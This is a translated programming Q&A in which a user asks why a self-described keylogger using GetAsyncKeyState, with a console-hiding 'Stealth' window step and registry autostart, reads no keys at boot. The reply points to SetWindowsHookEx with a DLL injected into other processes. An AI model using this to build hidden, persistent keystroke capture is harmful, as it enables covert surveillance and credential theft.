GetAsyncKeyState在系统启动时不起作用

时间:2013-11-02 14:57:49

标签: winapi registry windows-7-x64

今天我正在构建简单的键盘记录程序应用程序(不能不 - 不是因为你在想什么......)。我正在使用GetAsyncKeyState(我知道我应该使用SetWindowsHookEx,但是没有很多很好的教程 - 我在WinApi中吮吸),并且在自动启动时启动我的程序有问题。我将它添加到正确的注册表,一切正常(程序在启动时启动),但GetAsyncKeyState无法读取任何键(如果我手动启动它可以工作)。缩短代码:

HWND Stealth;
if(!AllocConsole()){
    Sleep(1000*5); 
}
while((Stealth = FindWindowA("ConsoleWindowClass", NULL))==NULL){
    Sleep(1000*5);
}
//ShowWindow(Stealth,0);
char i;
while (keylogger->working){
    for(i = 8; i <= 190; i++){
        if (GetAsyncKeyState(i) == -32767){
                         cout << i << endl; // No output here

}}}

为什么存在这种行为,以及如何避免这种行为?是否在Windows启动的早期阶段与分配控制台有关?

1 个答案:

答案 0 :(得分:2)

GetAsyncKeyState()仅适用于调用进程的键盘状态。如果您的目的是捕获其他进程中的击键,则需要使用SetWindowsHookEx(),并且必须将钩子实现为DLL,以便将其注入其他进程。